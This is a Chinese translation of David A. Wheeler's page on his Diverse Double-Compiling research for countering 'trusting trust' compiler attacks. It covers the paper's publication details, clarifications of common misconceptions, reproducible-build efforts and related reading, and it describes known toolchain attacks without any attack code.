这是我2005年的论文，由ACSAC正式审核并出版：Countering Trusting Trust through Diverse Double-Compiling (DDC), David A. Wheeler, Proceedings of the Twenty-First *Annual Computer Security ApplicationsConference* (ACSAC)*, December 5-9, 2005, Tucson, Arizona, pp. 28-40, Los Alamitos: IEEE Computer Society. ISBN 0-7695-2461-3, ISSN 1063-9527, IEEE Computer Society Order Number P2461。如果你无法从ACSAC获取论文，那么可以从本地下载：Countering Trusting Trust through Diverse Double-Compiling (DDC)。你也可以下载PDF版“Countering Trusting Trust through Diverse Double-Compiling (DDC)” 和ODT格式的“Countering Trusting Trust through Diverse Double-Compiling (DDC)”。（我可以在此发布）

很荣幸ACSAC2005年会议接受了我的论文。他们每年都收到很多优秀的论文提交，但是在2005年他们毙掉了他们收到的77%的论文提交。我之所以向ACSAC提交我的论文的一个原因，是我相信在网络上的发布对于论文的广泛传播是非常关键的；ACSAC一直致力于网络发布，并已成为开放式访问的会议。

ACSAC论文和新版论文之间的符号对应表:

+———————+——————+—————–+ | | ACSAC (2005) | 论文 (2009) | +———————+——————+—————–+ | Trusted compiler | T | c~T~ | | | | | | 可信编译器 | | | +———————+——————+—————–+ | Compiler under test | A | c~A~ | | | | | | 被测编译器 | | | +———————+——————+—————–+ | Parent compiler | - | c~P~ | | | | | | 原生编译器 | | | +———————+——————+—————–+

我有基于ACSAC版论文的一个展示。我最初是在ACSAC会议上做的原始版本的展示；后来每得到一点不同的反馈，我就根据反馈做出相应的更新。

演示可下载的版本包括：

PDF格式
ODT格式 -- 这是演示交流的国际标准格式。如果你打不开这个格式，最好的办法是下载LibreOffice或OpenOffice.org，这些都是免费的开放的文档处理软件，支持ODT格式。当然也可以使用其他支持ODT格式的软件。

注：ACSAC2005年论文”Countering Trusting Trust through Diverse Double-Compiling” 有一个错字。在第4节的最后一段，就在图前面，写道：”if c(sA,c(sA,T)), A, and c(sA,T) are identical, ...”。”c(sA,T)”应该是”c(sA,A)”；你也可以根据图中的内容来确定这个错误，图中清楚的显示”c(sA,A)”而不是”c(sA,T)”。感谢Ulf Dittmer向我指出这一点。

关于作品引用（拜托，我叫 David A. Wheeler）

如果你要引用我的作品，请在写我的名字的时候，一定保留我的中间名，至少保留一个缩写A，当然全拼”David A. Wheeler”更好。请不要在任何书面的作品中（包括互联网上的电子作品），在引用我的名字时拼写为”David Wheeler”或”D. Wheeler”。有太多叫David Wheelers的人，所以这样的拼写根本分不出到底是谁。如果强制使用缩写，请至少使用”D. A. Wheeler”。但是当然我还是最希望你们按照我说的方法引用。通常，人们都是按照被引用者的习惯来引用，而不是把它改成其他人的名字来引用。谢谢。

复现试验所需的详细数据

我相信科学实验一定是可以复现的。不过很可惜，许多号称计算科学的玩意儿并不是那么回事，因为其结果根本不可能复现。这是公开的秘密，Victoria C. Stodden的论文Reproducible Research: Addressing the Need for Data and Code Sharing in Computational Science” (Computing in Science & Engineering, 2010)就曾经讨论过这个问题。不过，我一定会提供必要的信息来复现我的结果。对于ACSAC论文来说，请参考我的Tiny C Compiler (tcc)页面，这样就能复现ACSAC实验和其他和tcc相关的实验。在我的PhD论文中，请参考关于详细数据的单独页面。它们都提供了足够的信息来复现实验，并有助于您对实验进行进一步研究。

消除错误概念

有些错误概念根深蒂固，所以我（也）要在此做出澄清。

DDC方法不假定在输入相同的情况下，两个完全不同的编译器会生成相同的二进制输出。

我在ACSAC论文中说过这个问题，PhD论文中也讲过，但是仍然有人不理解，所以我再讲一次。

ACSAC论文和PhD论文都不认为不同的编译器会生成相同的结果。实际上，二者都明确指出不同的编译器通常编译出不同的结果。而事实上论文提到了一点，被信任的编译器生成与被试的编译器不同架构的代码其实是一种进步。很明显，如果两个编译器为不同的CPU生成代码，那么两个二进制输出通常不会总是一样。

这种方法一定要求可信编译器使能够编译被测编译器的原生编译器的源代码（这种语言）。你总不能使用Java编译器来直接编译C的源代码吧。

至学究：是的，有时可以写出在完全不同CPU的架构上的机器码。甚至也可以先设计代码来决定他在什么架构上运行，然后再跳转到该架构的”正确”代码上。这样可以利用不同机器码的精确值，而且这肯定是聪明的骇客手段。但如果你想这样做，包含有多段（每个架构一段）的胖二进制是更好的办法——这是一种更利索的办法。不管怎么样，这不是重点，重点是不要求被测编译器和可信编译器生成相同的输出代码。

非确定性硬件对DDC来说不是问题

当原生编译器编译被测编译器的时候，DDC确实要求原生编译器是确定性的。这和认为两个不同编译器一定生成相同结果不是一回事。确定性编译器是指当两次输入相同（选项标志等都相同）时，输出相同。如果（随机生成数）种子确定，你甚至可以使用随机数生成器（例如gcc可以使用命令行选项来设定种子）。例如，在Unix/Linux系统中，可以使用以下命令行来确定这一点：

$ mycompiler input.c # 编译，结果保存在"a.out"中
$ mv a.out a.out.saved # 保存第一次的结果
$ mycompiler input.c # 再来一次
$ cmp a.out a.out.saved # 如果结果相同，则是确定性的\

这是一个相对简单的约束，也是一个大多数编译器作者所希望的编译器属性（因为非确定性编译器很难调试）。编译器通常是确定性的，除了嵌入时间戳时的例外——因此我在论文中讨论了如何处理嵌入时间戳的问题。有时候可能需要使用标志位（例如，在GCC C++编译器中设置随机数生成器种子）。

原生编译器可能在内部使用某些非确定性的结构体（例如非确定性调度线程），但是如果需要这样做的时候，必须使用某种机制来确保每次相同的输入都一定导致相同的输出。如今底层CPU拥有各种非确定性属性（例如，多内核线程，或非时变性）；”现代CPU本身是随机的，上层复杂的通用OS大幅地放大了这种内在的随机性”[“Analysis of inherent randomness of the Linux kernel” 作者Nicholas Mc Guire，Peter Okech，和Georg Schiesser]。但如果CPU非确定性这么强，那么写入数据时，就不太可能可靠地根据某一特定顺序写入，因此也就不能运行编译器或其他程序了。所以原生编译器仅仅需要一种方式，来确保在数据写入时非确定性效应不影响输出结果。例如，原生编译器可以使用锁，来保证不同的线程调度不会导致不同的结果。在实践中，开发者一般也都倾向于这么做。

可信编译器（在ACSAC论文中用”compiler T”表示；在PhD论文中用”compiler cT”表示）不需要是确定性的。

如果需要更多细节，请参考论文中sP_portable_and_deterministic假设的部分。

DDC使用可信编译器从根本上提高了可信度

过去的一些方法使用了第二编译器，但是他们基本上只是选择一个不得不完全信任的编译器。但事实上，万一信任的是包含恶意代码的编译器时，结果只会变得更糟。

与此相反的是，DDC一开始就使用了额外的编译器来做检验。这从根本上改变了这一情况，因为现在攻击者必须同时破坏原始编译器和DDC中使用的所有编译器。破坏多个编译器比仅仅破坏一个要难得多，尤其是在使用DDC的情况下。安全人员不但可以选择DDC使用哪些编译器，也可以选择在遭受攻击后DDC使用哪些编译器。

为什么不在所有地方都使用可信编译器

使用不同的可信编译器极大地增加了编译器可执行文件和对应的源代码的置信度。当DDC使用第二编译器的时候，攻击者必须攻击多个可执行文件和可执行文件进程才能实现无法被检测到的”trusting trust”攻击。如果只使用可信编译器，那就又回到最开始的状况了，在我看来，没有一个可行的验证过程来验证对单一编译器可执行文件的完全信任。

此外，正如章节4.6所述，有很多原因导致可信编译器可能不适合通用用途，这些原因包括运行缓慢，生成效率低下的代码，生成非所需CPU架构的代码，成本高，或产生人们不希望产生的的软件许可限制等等。它对于通用用途来说，可信编译器可能缺少很多必要的有用的功能。而在DDC中，可信编译器只需要能编译原生编译器即可，没有必要提供其他功能。

最后，请注意”可信”编译器可能是恶意软件，但仍可在DDC中正常运行。我们需要正常看待此事，可信编译器中的任何触发器或负载在被应用到被测编译器时，并不会影响DDC过程。这非常非常容易证明。

“fully”的含义

当我说到”fully”的时候，我的意思是可以检测到”trusting trust攻击并有效反击”（正如我在论文中所述）。了解一些背景知识会有助于理解我口中的”fully”。

首先，如果抱怨人与人的信任，那这是浪费时间。在现代社会中人们必须互相信任。没人完全自给自足，所以我们必须互相信任。但是如果你不能独立独立验证你所信任的人，那就会出现严重的系统问题。你要努力”信任，但是（也要）验证“。

我相信，trusting trust攻击造成的根本问题是，对于你所依赖的东西（执行文件）所对应于人类可识别的形式（源代码）的独立验证是不切实际的。这是因为程序处理的程序可以把通过人类评审的代码在最终实际的使用中替换为其他代码。因此Ken Thompson的论文不叫”Reflections on trust”，他叫”Reflections on trusting trust”。同样，我相信问题不在于信任，而在于缺乏有效的独立验证的过程。

通过DDC，我们现在对于独立验证源代码和对应的可执行文件有了可行的过程。DDC完全解决了对于程序处理的程序（例如编译器）缺乏有效的的独立验证过程的问题。

我相信，我们有必要理解，任何结果都是有局限性的。章节8.14详细解释了，攻击者如何破坏DDC的方法。因为已经通过形式化的数学验证来证明，唯一突破DDC的办法是伪造证明假设。防御者做出这样的伪造都是十分困难的。举例来说，防御者，不是攻击者，需要选择作为可信编译器的编译器；防御者甚至可以自己编写编译器。虽然不那么明智的防御者可以使用差不多的组件，但是章节6描述了如何获取不同组件的方法。一旦防御者了解了他们应该获取不同组件，那防御者就能了解提供不同组建的多种方法。

我的目标是创建独立验证的过程。DDC提供了独立的并且可行的验证过程。我在四个不同的编译器可执行文件中应用了DDC过程，其中包括广泛使用的gcc。因此，DDC充分满足了独立的并且可行的验证过程的需求。

那么，为什么我在论文标题要使用fully这个词呢？好吧，我需要某种方法来区份ACSAC论文和PhD论文的标题。我意识到我旧的ACSAC论文有一个重要的限制：它仅适用于自我编译的编译器。许多编译器不是自我编译的，因此旧的ACSAC论文对现在所使用的许多编译器并不适用。相反，2009年的论文可以适用于所有编译器，不管他是不是自我编译的。因此，改论文”fully”提供了验证编译器可执行文件的过程，而不在乎编译器是否是自我编译的。我需要指出的是，论文标题已经定下来了，我想改也改不了了。

应用到硬件上怎么样？

在ACSAC会议上和论文中，我提到过把DDC方法应用到硬件上。很显然，如果软件完好，而硬件遭到攻击被破坏，那么最终你还是难以避免损失。ACSAC演讲和论文都更详细地提到了这一点。DDC也可以被应用到硬件上。正如我所说的，有两方面的问题：法律和技术。

法律问题是，越来越多的芯片设计方和制造商不能合法地获取芯片上应有的信息。例如，芯片上使用的各种”IP核”的开发者禁止芯片设计方和制造商获取和使用这些信息。

关键的技术问题是硬件上有意义的”相等”测试。我推测各种技术，例如扫描电子显微镜，可以用来帮助实现相等性测试。其他硬件验证机制（例如，参考Semiconductor IP Validation Gets Faster）也可以起到一定的作用。但是它从根本上很难实现硬件相等性测试（与软件相比）。我在论文中引用了好几篇关于这个的文章。你可以从那之后发表的论文中看到更多的质疑，例如“Stealthy Dopant-Level Hardware Trojans” 作者 Georg T. Becker, Francesco Regazzoni, Christof Paar, 和 Wayne P. Burleson (Bruce Schneier简要讨论了这一点)，还有“Integrated Circuit Security Threats and Hardware Assurance Countermeasures” Karen Mercedes Goertzel (CrossTalk, November/December 2013) [alternate URL] [What Happened to CrossTalk, the Journal of Defense Software Engineering?]。如何对抗被攻击破坏的硬件绝对是未来很有潜力的研究领域。

软件专利和API版权

只有在你可以有多种方法来实现某种计算机语言（编译器）时，这里描述的方法才适用。这样做没有任何技术问题，但是有些组织试图使人们难以合法地使用多种方法来实现（某种计算机语言）。任何这些对于开发和分发某种计算机语言多种实现方法的限制，其实都是对这种语言用户的极为危险的隐患。对于那些使用这种语言编写的程序的用户来说，这同样是隐患。

人们一般认为API和语言是在版权保护范围之内的。但其实著作权只保护具体的软件实现和文档，而API和语言本身只是基础思想，并非某种固定的表达。人们早就这样理解，但是2012年的许多（美国和欧洲的）裁决让这一看法更加明确……当然事情并不那么简单，威胁无处不在。2012年甲骨文和谷歌之间的”Order RE Copyrightability of Certain Replicated Elements of the Java Application programming Interface“案件表明，”只要实现软件的具体代码不相同，那么任何人都可以在版权法的保护下自由地编写他（她）们自己的代码，以实现JAVA API中的任何方法的功能或规范。方法名或声明是否相同并不重要，因为在Java的规则中，必须用相同的方法名来声明实现某种功能的方法，甚至实现方法不同的时候亦如此。当只有一种方法来表达某种想法或实现某种功能的时候，所有人都有权这么做，没有人能够垄断这种功能的实现。而且，虽然Android的方法和类的名称和Java中对应的方法和类的名称可能是不同的，并且他们都能正常实现，但是版权保护从未把他们的法律触手伸向名称或短语这个级别……这一命令结构是根据版权法的章节102(b)的系统或操作方法，因此并不受版权保护。”（博客网站Groklaw在网站上也这么写道。）同样，欧盟司法法院也在SAS研究院和World Programming Ltd.,的案例C-406/10中发现”计算机程序的功能和编程语言不受版权保护。”（这里有C-406/10案例的真实判决）。美国法律下的版权，明确不包括任何的”想法、流程、过程、系统、操作方法、概念、原理或发现”；这么做（注意，这个清单中远不止想法一个点）的历史和原因在Pamela Samuelson的”Why Copyright Law Excludes Systems and Processes from the Scope of Its Protection”中可以找到。但是在2014年5月9日，美国联邦巡回法院部分驳回了地方法院的裁决，给出了在版权问题中有利于甲骨文的判决，并将是否合理使用（软件）的问题发回地方法院重审。我希望这只是狭义的解释，如果这是广义解释的话，那么版权可能会扼杀将来所有的竞争。软件必须相互兼容相互通信，这是一个很实际的问题；如果某个公司可以禁止软件的这种兼容的实现方式，那么这个公司就足以扼杀所有良性竞争，以及像DDC这类的验证手段。可以参考Computer Scientists Ask Supreme Court to Rule APIs Can’t Be Copyrighted获取更多关于API和版权的信息。

不幸的是，正如本文中讨论的，来自专利方面的风险依然如此之大。更多信息，请参考我写的关于软件专利的那些内容。

关于论文的其他想法

当我说“trusted compiler（可信编译器）”的时候我用了“trusted”这个词。我要指出，“trusted”和“trustworthy”这两个词的区别还是很大的。“trustworthy”表明有证据证明他是值得信任的；而“trusted”表明个人的信任（希望是因为他们确定他是“trustworthy”的）。如果你使用DDC，你需要使用可信编译器——因为你得相信它的编译输出，顾名思义来看它是“trusted”（可信的）。但是你应该选择值得信赖的编译器作为可信编译器。

好消息是，你并不用去找一个完美无瑕永远不会犯错的编译器，这样的编译器简直凤毛麟角。相反，你只需要使用符合论文中描述的条件的编译器即可，这容易找得多。

我在的小论文“How to prove stuff automatically”里，总结了一些关于使用工具来做证明的方法的经验教训。

我的论文发表后，在Mike Stute的关于"What is a coder's worst nightmare?"的回答中，我见到了另一种被破坏的编译器。他尝试修改一个程序，但是并没能如愿。努力了15天以后，“我突然意识到我已经修改到了编译器内部……每一次编译原始的代码都会把一段潜藏的代码加到源代码中……几天后……我们重新从源代码编译编译器。问题解决了……除了没能……这个曾经的研究生成功地让编译器中了毒，每次编译器重新编译的时候都把病毒带到下一代中去……我们还发现如果编译/sbin/login目录，则会在其中加入后门，使任何人都可以使用某个特定密码作为root用户登录。这样就可以通过调制解调器和Tymnet远程登录。最终这引起了计算中心的关注。天才！不过动因十分可怕。”

论功行赏

正如我在论文中明确指出的，关于DDC这一手段的最原始想法并不是我想到的。最初的想法是由天才的Henry Spencer提出的。但是他并没有去实现这一想法。事实上随着时间的推移他可能都忘记了这一设想。我看到了他关于这一想法表述的那几句话，并随后极大地进行了扩展，包括更详细的分析说明，证明和演示。例如，他最初的想法假定自我编译，而我的PhD论文中去除了这一限制。非常感谢他和他最初的想法，也感谢他一直以来提出的宝贵建议。

我还要在功劳簿上为那些把这一问题第一时间通知全世界的人们记上一笔：Paul Karger，Roger Schell和Ken Thompson。Paul Karger和Roger Schell 关于 Multics 的开创性分析使人们第一次认识到这个问题。解决问题的关键步骤是要先确定有这么个问题。我和Paul Karger深入讨论了几次，他对这一项目非常热情，提供了很多有用的建议。不幸的是，Paul Karger去世于2010年，这是整个世界的一大损失；不过万幸的是，我在他在去世前把这一成果告诉了他，他对此十分欣慰。我也和 Roger Schell 聊过这一问题。我也要感谢 Ken Thompson（这是他和团队的共同成就），他演示了这一攻击过程，使得更多人意识到了这个问题。

关注者都有谁

第一份将我的2005年ACSAC论文作为必读材料的课程是CSC 593: Secure Software Engineering Seminar，由北肯塔基大学的James博士在2006年的春季班中开设。同样作为必读材料的还有Ken Thompson的1984年经典论文Reflections on Trusting Trust。乔治·梅森大学（GMU）也有类似主题的课程：”Advanced Topics in Computer Security: Cyber-Identity, Authority and Trust” (IT962)，由Ravi Sandhu开设。我有幸获得在2006年春季课程参观一天的机会，并做了演讲。多特蒙德工业技术大学的Lehrstuhl Informatik VI课程（Dr. Ulrich Flegel 和Dr. Michael Meier开设)(WS 2007/2008)也引用了我的论文。Linux Luddites podcast #21 (August 2,2014) 的从1:41开始也特别提到了我的论文。

ACSAC论文被多处引用，包括美国海军研究生院（NPS）Steven Anthony Schearer的论文”Increasing Open Source Software Integration on the Department of Defense Unclassified Desktop”，里斯本大学信息系的Obelheiro等人(Sep 2006)的论文“How Practical Are Intrusion-Tolerant Distributed Systems?”，以及邦德大学信息技术学院Alexander Zangerl的PhD论文”Tamper-resistant Peer-to-Peer Storage for File Integrity Checking”。

ACSAC论文也在很多地方被提到或讨论到，包括Bugtraq, comp.risks (the Risks digest), Bruce Schneier’s weblog (the source for Crypto-Gram), Lambda the ultimate, SC-L (the Secure Coding mailing list), LinuxSecurity.com, Chi Publishing’s Information Security Bulletin, Wikipedia’s “Backdoor” article, Open Web Application Security Project (OWASP) (mailing list)，等等。

Bruce Schneier在其论文尤其浓墨重彩长篇大论地写了关于我论文的评论，他的网站和Lamba-the-Ultimate都有很多博客地址。文章Open Source is Securable讨论了论文和衍生物——尤其是，他很有可能根据源代码分析做出有力的结论。

BartK’s “Defeating the Trust Attack”总结了我的PhD论文；并据此写了a spirited reddit discussion in September 2013。

我的论文与众不同？

那当然。尤其是我的论文把之前极少搭界的不同的技术领域整合到了一起。实际的演示包括了分析C编译器生成的机器代码（不只是汇编代码！），以及Lisp生成的S-表达式。为了证明这确实有效，我使用了一阶谓词逻辑（一种数学逻辑表达）和多种不同的工具来辅助自动化这一过程。我的数学模型需要考虑不同文本编码系统之类的东西，因为我需要这些模型精确建模，这样才能对抗来自与复杂的真实世界的各种攻击。有些论文深入探讨了机器码的技术细节，而另一些人专注于的数学证明抽象性；还有极少数人二者兼而探讨之。坦率地说，我认为这种不走寻常路的组合会带来更有趣的结果；所以我也推荐你们这样做。

很多人坚定地认为我在实现不可能的梦想，所以我尽可能地证明他的正确性。我不仅仅提供了数学证明；我还提供了形式化证明，每一步都明确有明确说明（数学书的大多数证明都写着”证明过程略”，而我不会这样）。我的证明是Hilbert（3列）风格，对每一步都有说明。我直接使用了校准工具的输出；我本可以修改一下结果，这样会更清楚；但是直接使用这些输出使我避免了在转换时可能犯错，更重要的是，我可以使用单独的工具（ivy）来对证明做充分的检查。许多人没有这方面的数学背景，所以我给出了每一步骤的参考，并详细解释了每一个数学命题的细节。

工具链攻击：真实且存在的**

保护开发环境很重要，其中还包括开发的工具链。Ken Thompson在上世纪80年代演示过对工具链的攻击，而且是完全成熟的"trusting trust"攻击。我的论文也讨论了对于Delphi编译器的攻击。据透露在2015年由于XCodeGhost的攻击，超过4,000个苹果iOS应用遭到破坏并流入苹果的应用市场。攻击欺骗开发者下载苹果的XCode开发环境的一个包含恶意代码的版本。许多著名应用都受到感染，包括愤怒的小鸟2和微信。CNBC报道说苹果正在”清理iOS应用商店，移除那些在第一轮大范围攻击中被发现的受感染的iPhone和iPad应用”。据报道一些网络安全公司最先发现了一个被称为XcodeGhost的恶意程序被嵌入了成百上千的合法应用中，随后苹果公司也说他们采取了行动……苹果表示，黑客们通过欺骗开发者下载一个假冒的的包含恶意代码的iOS和Mac应用开发工具，即人们通常所说的Xcode，从而把恶意代码嵌入到这些应用中去。路透社也做了类似的报道。

可重复的（确定性的）编译版本

创建可重复的编译版本（也叫确定性版本）是监测许多种对于开发的攻击行之有效的办法，也是应用DDC的先决条件。reproducible-builds.org网站有很多关于这个话题的信息。这是一些可能很有帮助的重点。

Tor项目对可重复性（确定性）编译版本非常重视：

Tor项目的Mike Perry在2013年6月18日解释道，”我没有折腾六个星期来给Tor浏览器构建确定性版本，只为了证明我的诚实守信。考虑到现在在计算机安全和网络战争的形势，我这么做只是因为我不相信基于单一来源信任的软件开发模型的安全性能足以对抗高明的攻击者……我不相信基于软件的GPG密钥是黑客们无法获取到的，也不相信一台即使用于离线编译的机器就能原理恶意攻击……因此我们需要确定性编译版本：每个人都可以使用我们的匿名网络来下载源代码，对照公开签名的、公开审核的和镜像git仓库来对代码做验证，并重新精确编译我们的版本……否则，我真的不认为从现在开始5-10年后我们还有真正安全的电脑能用来工作:/。”如果编译器本身被植入了恶意代码，那么确定性编译版本也还是不够的，但是谢天谢地，DDC确保了对于编译器可执行文件的多方验证（检查代码仍然必不可少，但这个工作相对来说要容易许多）。
Deterministic Builds Part One: Cyberwar and Global Compromise和Deterministic Builds Part Two: Technical Details有许多关于Tor和确定性编译版本的材料。

Jos van den Oever的”Is that really the source code for this software?”(2013-06-19) 中描述了试图从源代码创建可执行文件的问题。有时候这是可行的，例如对于Debian来说，”从Debian源代码构建的二进制包和发布的二进制包并不完全一致，但是差异仅限于可执行文件的时间戳和构建标识。”但正如我几年前发现的那样，这点有时也是很难实现的，因为通常需要的编译信息比所能得到的要多。你不仅需要源代码和编译脚本；你还需要知道所有相关编译软件的确切版本号，相关配置以及其他东西。但是这些是不可能都得到的，所以需要重复这个步骤，不断地重复，以确保得到所有的信息。如果记录了这些信息，那么你会遇到另一个问题，”我怎么知道我的编译工具是不是干净的？”所以，DDC派上用场了……因为DDC就是来回答这个问题的。

Debian ReproducibleBuilds project的目标是可以以精确到字节的精度重现Debian每个包的每一个编译版本。他们已经取得了很大的进展，这使我十分欣慰。他们的Overview of known issues related to reproducible builds概述了会导致问题的常见原因；其中包括各种原因导致的嵌入式生成时间戳（最大的问题）和随机/顺序排序。此外，sources.debian.net网站提供了途径来访问Debian的源代码。How Debian Is Trying to Shut Down the CIA and Make Software Trustworthy Again也讨论了这个话题。

Reproducible Builds for Fedora是一个类似的项目，可以精确复现Fedora的每个包。

F-Droid和The Guardian Project致力于复现Android的每个编译版本。更多信息可以参考LWN.net，Guardian的首个可重复编译的版本的信息 (这是一个开发者工具)，和他们在应用的Checkey方面取得的成功。

How I compiled TrueCrypt 7.1a for Win32 and matched the official binaries描述了TrueCrypt的一个确定性版本的实现。这是一个加密软件，可以实现文件级、分区级或基于磁盘的虚拟磁盘级别的即时加密，但是它的作者是匿名的，这使得一些人担心可执行文件有后门。注：虽然源代码是可见的，但是没有使用标准OSS许可证，这种限制很可能表明它并不符合OSS规范；it许多主流Linux发行商，包括Debian、Ubuntu、Fedora、openSUSE和Gentoo并不把它当作自由软件看待。最近，TrueCrypt的作者停止了开发，又由于它缺少真正的OSS许可，所以没人能继续提供支持。

Gitian是一种”安全的以源代码控制为导向的软件分发方法，（所以）你可以下载由多个编译源验证的可信的二进制执行文件。”

Vagrant的目的是”创建和配置轻便的、可重复性强的和绿色便携的开发环境。”Seth Vargo简要地讨论了这一问题。

Buildroot是一个通过交叉编译创建嵌入式Linux系统的简单机制。

Byzantine Askemos Language Layer (BALL)是Askemos Distributed Virtual Machine的实现。它创建了”应用程序的自主虚拟执行环境”，和传统的云环境不同的是，它的目标是容错性和防篡改。它在几个不同的机器、运行库、编译器和操作系统等环境上执行代码，并比较加密签名。因此，这可以实现对多种底层组件攻击的防护。

Christophe Rhodes在Still working on reproducible builds和Reproducible builds - a month ahead of schedule中讨论过在不同系统上构建Steel Bank Common Lisp (SBCL)的编译版本时的问题。虽然他的文章都是SBCL的具体问题，但是从中也能反映更多的一般性问题。他指出，SBCL从CMCL分离的原因之一是”使编译的结果与编译器无关。”这一目标不仅仅是为了防止攻击，也是为了消除难以发现的bug：”……我们怎么知道没有潜伏在编译器里的微小偏差，平时不会影响运行，但是会在将来导致难以发现的问题呢？（事实上这样的问题有很多，不合时宜地入雨后春笋般冒出来）。我一直在处理这些问题，SBCL!编译器是Common Lisp代码编写的，我试图让一般Lisp代码足够便携，这样在不同的环境下都可以执行，并且都可以生成精确到位的相同的输出。这样的话，也只有这样，我们才有信心，不依赖特定的具体实施细节的某些不可预知的方式……“。下面是他（可能还有其他SBCL开发者）发现并修复的一些问题，可以作为一些例子，告诉我们究竟要找怎样的问题：

Common Lisp规范允许实现计算(write-to-string '(quote foo) :pretty nil) as either "(QUOTE FOO)" or "'FOO"。为了创建可复现的编译版本，他们需要用点小手段（），这样才不会让差异产生影响。
反引用的时候会产生一个相关问题：Common Lisp规范允许实现决定值是否合并，但是这可能导致不同的结果；解决办法是修改代码，以确保结果都是相同的。
不同的和集合相关的函数（例如，集合求差，并集，交集等等）并不会按顺序返回集合，这也可能导致编译版本产生差异。解决方案是对集合操作的结果进行排序，以保证集合按照特定已知顺序排列。
调用maphash会直接影响Lisp镜像。通常，当遍历其内容时，hash表并没有任何特定的排序，所以在遍历时需要强制指定一个顺序。
通过实现定义的常量，尤其是最大的正长整数和最小的负长整数，但同样是阵列维度限制和每秒内部时间单位。
一些函数不同，例如随机函数、哈希函数，这导致了访问模式的不同。
Lisp的排序不是稳定排序，所以应该使用稳定排序，以确保其确定性。
阵列的初始值是不确定的，所以不要依赖这些值！

要注意的关键是创建可以由其他编译器创建可重现的（确定性）版本的编译器这件事，在现实世界中需要不少工作……但他确实是可行的。

有多种工具可以帮助建立可重现的编译版本。例如，如果嵌入了编译路径，可以强制固定路径值，这样编译版本就具有重现性。有的工具无需root权限就可以实现这个，包括我的工具user-union和auto-destdir，还有像proot这样的工具。

形式化方法/证明

Xavier Leroy（OCaml的主要开发者）正在使用Coq来开发一个认证的编译器compcert，它保证C源程序的语义支持PowerPC的汇编语言。这一编译器后端的”规范”（可惜不是Coq证明）是GPL软件。

你可能还对MITRE Vlisp项目的结果感兴趣。Vlisp的Readme文件中写道：”认证程序语言实现项目（”The Verified Programming Language Implementation project）开发了模式程序设计语言的形式化验证实现，缩写简称Vlisp……Vlisp的手册里也有项目的概述。Vlisp的其他资料的PDF也可以在此链接找到。你可能还对另一篇论文感兴趣：Jonathan A. Rees. “A Security Kernel Based on the Lambda-Calculus”. PhD. Thesis. February 1995。

杂项

攻击者可以利用编译器的bug，他们故意编写代码来触发编译器bug以破坏程序。这是另一种编写恶意程序的方法（在我论文中我讨论的一个话题）。这种攻击和”trusting trust”攻击DDC计数器不同，但二者是确实相关的。论文"Deniable Backdoors Using Compiler Bugs" by Scott Bauer, Pascal Cuoq, and John Regehr, *Pastor Manul Laphroaig’s Export–Controlled Church Newsletter, June 20, 2015描述了编译器感染（通常通过fuzzing测试发现）是如何被利用的。在他们的案例中，他们描述了如何通过看似正常的代码利用sudo命令。John Regehr在他的博客 "Defending Against Compiler-Based Backdoors" (2015-06-21) 就指出了这一点，注明”这类后门的优点是巧妙、不宜追踪和可针对特定目标，他还提出了一些很好的观点。尤其是，他指出编译器开发者需要尽快修复已知的关于编译错误的bug，并且要使用fuzz工具进行模糊测试；编译器对安全性要求极高的，但人们往往不注意这一点。开源软件包的维护者们需要对一些比较”标新立异”的补丁提交提高警惕，并且需要考虑重写这些补丁。这些攻击比传统的”trusting trust”攻击要脆弱一些，但是仍然可以在任何程序里出现，所以他们潜在的危险性十分高，并且目前来看难以检测。短期来说，最好专注于在广泛使用的编译器中检测和消灭这些缺陷。对于消灭编译器缺陷，没人会提出抱怨，我们现在有许多技术可以应用，如果编译器缺陷变得 geng 难以触发，那么对于这些后门（的攻击）的尝试会变得更加明显。但是短期策略还远远不够；我希望人们也会想出一些长期策略。

“Some Remarks about Random Testing” by B A Wichmann,National Physical Laboratory, Teddington, Middlesex, TW11 0LW, UK, May 1998, 讨论了为编译器做随机测试。

Kegel对于gcc/glibc的跨工具链编译和测试有许多好消息。GCC explorer交互地展示了GCC的编译输出（在不同的输入下）。

The RepRap Project正在开发廉价的3D打印机设计，这有希望（最终）可以实现打印其自身。这非常有意思，将来可能（和我们的讨论）非常相关。

Open proofs web site鼓励”开源证明”的开发，这样所有的实现，证明和所需要的工具就都是开源软件了。

Mark Mitchell’的”Using C++ in GCC is OK” (Sun, 30 May 2010 17:26:16 -0700) 官方报告了”GCC指导委员会和FSF已经批准了C++在GCC本身的使用”。当然，不是因为我们可以使用C++，我们就去用它。我们的目标是为用户开发更好的编译器，而不是为了C++本身的福祉。Mark Mitchell 后来解释了他期望GCC会小心使用C++。对于DDC来说，这意味着将DDC应用到GCC代码会需要一个C++编译器（至少需要一个支持GCC所使用那一部分的编译器），而不是C编译器。我使用Intel的icc，其中个C++编译器，所以这不会对我的例子产生影响……, 他也肯定不会改变方法的有效性。

这篇文章和停机问题（halting problem）有许多关联。Proof That Computers Can't Do Everything (The Halting Problem) 是一个很有启发性的视频，它展示了对于停机问题（halting problem）的传统的证明，但是角度很巧妙。Beyond Computation: The P vs NP Problem - Michael Sipser同样很吸引人。

像make这样的编译工具对于许多大型系统来说非常重要。Improving make描述了我对于改进POSIX标准（对于make和make的实现）所作出的努力，尤其是对于这篇文章的洞察力的支持Peter Miller的文章：Recursive Make Considered Harmful.

Juniper后门很有意思——他看起来是一个被自身后门了的加密的后门。Matthew Green和rpw提出了很多有趣的评述。

规范/标准

Open Group的 Open Trusted Technology Provider Standard (O-TTPS), Version 1.1: Mitigating Maliciously Tainted and Counterfeit Products很有意思。根据网站的描述，”O-TTPS这个开源标准包含一套组织准则、要求和对集成商、供应商和零部件提供商的建议，以加强全球供应链的安全性和商用现货供应（COTS）信息和通信技术（ICT）的整合。如果人们可以遵守这一标准，将有助于在COTS ICT产品生命周期的以下几个阶段对抗恶意软件：设计、采购、编译、完善、分发、维护和终止。Open Group Trusted Technology Forum (OTTF)是一个全球性的倡议，它邀请了工业界、政府和其他感兴趣的与会者共同努力来扩展这一文档和其他OTTF交付。

TUF (The Update Framework)帮助开发人员保护他们新的或已有的软件更新系统。在系统级包管理员、编程语言特定包管理器/仓库和应用程序指定更新系统之间，有许多软件更新人员，需要确保他们的安全性。

使用OpenOffice.org/LibreOffice和OpenDocument的提示

我用OpenOffice.org写了这篇文章，它完全可以胜任。OpenOffice.org在撰写大型文档方面非常好用。Document Foundation’s LibreOffice Productivity Suite由OpenOffice.org（我用的就是这个）派生而来，也支持OpenDocument，所我我对OpenOffice.org的赞誉也适用于LibreOffice。（截至2011年初，似乎LibreOffice正在取代OpenOffice.org，LibreOffice有一个更为活跃的社区。）

